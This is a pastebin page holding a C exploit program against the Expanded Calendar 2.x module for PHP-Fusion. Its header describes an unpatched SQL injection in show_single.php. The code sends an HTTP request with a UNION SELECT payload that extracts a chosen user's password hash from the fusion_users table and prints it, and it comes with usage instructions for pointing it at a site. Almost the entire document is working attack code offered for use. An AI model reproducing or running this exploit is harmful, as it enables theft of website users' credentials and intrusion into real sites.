NoPaste Service
DOWNLOAD
Language: C
Author: Matrix86
Description: Calendar-V2.00 Php-Fusion mod
Date: 22/09/08 10:38
  1. /********************************************************
  2. *      Expanded Calendar 2.x (PHP-Fusion module)        *
  3. *      User pass disclosure exploit                     *
  4. *      Found by Matrix86 of Rbt-4 Crew                  *
  5. *      Site: www.rbt-4.net                              *
  6. *      Mail: info[at]rbt-4[dot]net                      *
  7. *********************************************************
  8. * Bug found in                                          *
  9. *      /infusions/calendar_events_panel/show_single.php *
  10. * Line:                                                 *
  11. *      27                                               *
  12. * Vulnerability type: Sql injection                     *
  13. * Unpatched!                                            *
  14. ********************************************************/
  15. #include <netdb.h>
  16. #include <sys/types.h>
  17. #include <unistd.h>
  18. #include <arpa/inet.h>
  19. #include <sys/socket.h>
  20. #include <stdio.h>
  21. #include <time.h>
  22. #include <errno.h>
  23. #include <regex.h>
  24. #include <stdlib.h>
  25. #include <signal.h>
  26. #include <string.h>
  27. #include <unistd.h>
  28. #include <sys/types.h>
  29. #include <sys/wait.h>
  30.  
  31. #define PORT 80
  32. #define N_BUF 2048
  33.  
  34.  
  35. void stampaE(char *text){
  36.         fprintf (stderr, "Error: %s\n", text);
  37.         exit (-1);
  38. }
  39.  
  40. void banner(){
  41.         char banner[] = "\n\n*********************************************************\n*      Expanded Calendar 2.x (PHP-Fusion module)        *\n*      User pass disclosure exploit                     *\n*      Found by Matrix86 of Rbt-4 Crew                  *\n*      Site: www.rbt-4.net                              *\n*      Mail: matrix86[at]rbt-4[dot]net                  *\n*********************************************************\n* Bug found in                                          *\n*      /infusions/calendar_events_panel/show_single.php *\n* Line:                                                 *\n*      27                                               *\n* Vulnerability type: Sql injection                     *\n* Unpatched!                                            *\n*********************************************************";
  42.         fprintf(stdout,"%s\n",banner);
  43.         sleep(1);
  44.         return;
  45. }
  46.  
  47. void usage(char *name){
  48.         fprintf(stderr,"Usage: %s [site] [path] [user_id]\nExample: %s localhost /php-fusion/ 1\n\n",name,name);
  49.         exit(-1);
  50. }
  51.  
  52. int main(int argc,char *argv[]){
  53.  
  54.   struct sockaddr_in client;
  55.   int sock,conn,status,i;
  56.   struct hostent *data;
  57.   int nr,found;
  58.   char **alias,*host;
  59.   char buf1[INET6_ADDRSTRLEN];
  60.   char buffer[1024],get[3000],buf[256];
  61.   char pattern[] = "<td colspan='2'><font size='4'><u>(.*?)";
  62.   regex_t re;
  63.   regmatch_t pmatch[100];
  64.   char *ps;
  65.  
  66.  
  67.   banner();
  68.  
  69.   if(argc < 4) usage(argv[0]);
  70.  
  71.   data = gethostbyname(argv[1]);
  72.   if (data == NULL) {
  73.           stampaE("Unable to resolve host.");
  74.   }
  75.  
  76.   alias = data->h_addr_list;
  77.   if (*alias == NULL) {
  78.           stampaE("Host not found.");
  79.   }
  80.   inet_ntop(data->h_addrtype, *alias, buf1, sizeof(buf1));
  81.   strcpy(host,buf1);
  82.  
  83.  
  84.   sock = socket(AF_INET,SOCK_STREAM,0);
  85.   if(sock < 0) stampaE("Impossibile inizializzare socket!");
  86.  
  87.   memset((void *)&client, 0, sizeof(client));
  88.   client.sin_family = AF_INET;
  89.   client.sin_port = htons(PORT);
  90.   (void) inet_pton(PF_INET, host, &client.sin_addr);
  91.  
  92.   if(connect(sock, (struct sockaddr *)&client, sizeof(client)) < 0) stampaE("Impossibile connettersi all'indirizzo");
  93.  
  94.   strcpy(get,"GET ");
  95.   strcat(get,argv[2]);
  96.   strcat(get,"infusions/calendar_events_panel/show_single.php?sel=-1/**/UNION/**/SELECT/**/0,0,user_password,0,0,0,0,0,0,0,0,0/**/FROM/**/fusion_users/**/WHERE/**/user_id=");
  97.   strcat(get,argv[3]);
  98.   strcat(get,"/*");
  99.   strcat(get," HTTP/1.0\r\n");
  100.   strcat(get,"User-Agent: Mozilla/5.0\r\n");
  101.   strcat(get,"Host: ");
  102.   strcat(get,argv[1]);
  103.   strcat(get,"\r\nConnection: Close\r\n\r\n");
  104.   printf("%d",strlen(get));
  105.   get[strlen(get)+1] = 0;
  106.   fprintf(stdout,"\nPacket:\n%s",get);
  107.  
  108.  
  109.   /*Sending sql injection*/
  110.   if((send(sock,get,strlen(get),0)) < 0) stampaE("unable send data.");
  111.  
  112.   fprintf(stdout,"Working...");
  113.   /*Compile pattern*/
  114.   if((status=regcomp(&re,pattern,REG_EXTENDED)) != 0){
  115.           regerror(status,&re,buf,120);
  116.           exit(2);
  117.   }
  118.  
  119.   ps = buffer;
  120.   found=0;
  121.   /*<table class='tbl' width='100%' id='table1'><tr><td colspan='2'><font size='4'><u>MD5</u>*/
  122.   while((nr = read(sock, buffer, sizeof(buffer))) > 0){
  123.           buffer[nr] = 0;
  124.           if((status = regexec(&re, ps,1,pmatch, 0)) == 0){
  125.                   found=1;
  126.                   ps += pmatch[0].rm_so;
  127.                   ps += 34;
  128.                   fprintf(stdout,"User password: ");
  129.                   for(i=0;i < 32;i++) {
  130.                           fprintf(stdout,"%c",*ps);
  131.                           ps++;
  132.                   }
  133.                   printf("\n");
  134.                   break;
  135.           }
  136.   }
  137.   if(!found) fprintf(stdout,"\nSorry...Bug Fixed!\n");
  138.   regfree(&re);
  139.   close(sock);
  140.   return 0;
  141. }
  142.